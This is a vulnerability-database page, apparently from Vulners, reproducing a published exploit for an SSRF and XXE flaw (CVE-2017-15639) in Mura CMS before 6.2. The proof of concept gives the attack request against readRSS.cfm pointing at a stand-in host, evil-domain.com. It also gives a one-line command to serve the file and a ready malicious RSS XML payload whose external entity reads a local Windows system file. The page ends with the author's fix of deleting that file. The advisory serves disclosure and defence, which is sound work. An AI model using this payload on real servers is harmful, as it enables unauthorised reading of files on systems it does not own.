Lucene search
K

Mura CMS 6.2 - Server-Side Request Forgery XML External Entity Injection

🗓️ 24 Oct 2017 00:00:00Reported by Anthony ColeType 
exploitpack
 exploitpack
👁 36 Views

Mura CMS 6.2 SSRF + XXE vulnerability allows file read via XML injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Mura CMS < 6.2 - Server-Side Request Forgery / XML External Entity Injection Vulnerabilities
25 Oct 201700:00
zdt
CNVD
Blue River Interactive Mura CMS XML External Entity Injection Vulnerability
30 Oct 201700:00
cnvd
CVE
CVE-2017-15639
19 Oct 201719:00
cve
Cvelist
CVE-2017-15639
19 Oct 201719:00
cvelist
Exploit DB
Mura CMS &lt; 6.2 - Server-Side Request Forgery / XML External Entity Injection
24 Oct 201700:00
exploitdb
EUVD
EUVD-2017-7090
7 Oct 202500:30
euvd
NVD
CVE-2017-15639
19 Oct 201719:29
nvd
OSV
CVE-2017-15639
19 Oct 201719:29
osv
Packet Storm
Mura CMS Server-Side Request Forgery / XXE Injection
26 Oct 201700:00
packetstorm
Prion
Design/Logic Flaw
19 Oct 201719:29
prion
Rows per page
# Exploit Title: Mura CMS before 6.2 SSRF + XXE
# Date: 30-10-2017
# Exploit Author: Anthony Cole
# Vendor Homepage: http://www.getmura.com/
# Version: before 6.2
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2008 w/ Coldfusion 8
# CVE: CVE-2017-15639
# Category: webapps
 
1. Description
   
Any user can cause Mura CMS before version 6.2 to make a http request.  As an added bonus, the response from that HTTP GET request is passed directly to XmlParse().  It is possible to read a file from the file system using an XXE attack.
 
   
2. Proof of Concept

vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm
 
http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500

Explanation of params
	siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
	rssurl - This is the URL you want Mura CMS to call out to.
	
To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80
	
Then create a file:

<?xml version="1.0" ?>
<!DOCTYPE rss [
        <!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>

<rss version="2.0">
<channel>
        <title>title</title>
        <link>link</link>
        <description>description</description>
        <generator>http://www.getmura.com</generator>
        <pubDate>Thu, 28 Sep 2018 11:55:19 -0700</pubDate>
        <language>en-us</language>
        <item>
                <title>Item title</title>
                <link>http://host/</link>
                <guid isPermaLink="false">00000000-0000-0000-0000000000000000</guid>
                <pubDate>Thu, 21 Sep 2018 00:00:01 -0700</pubDate>
                <description>&send;</description>
        </item>
</channel>
</rss>
   
3. Solution:

delete readRSS.cfm from the server.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation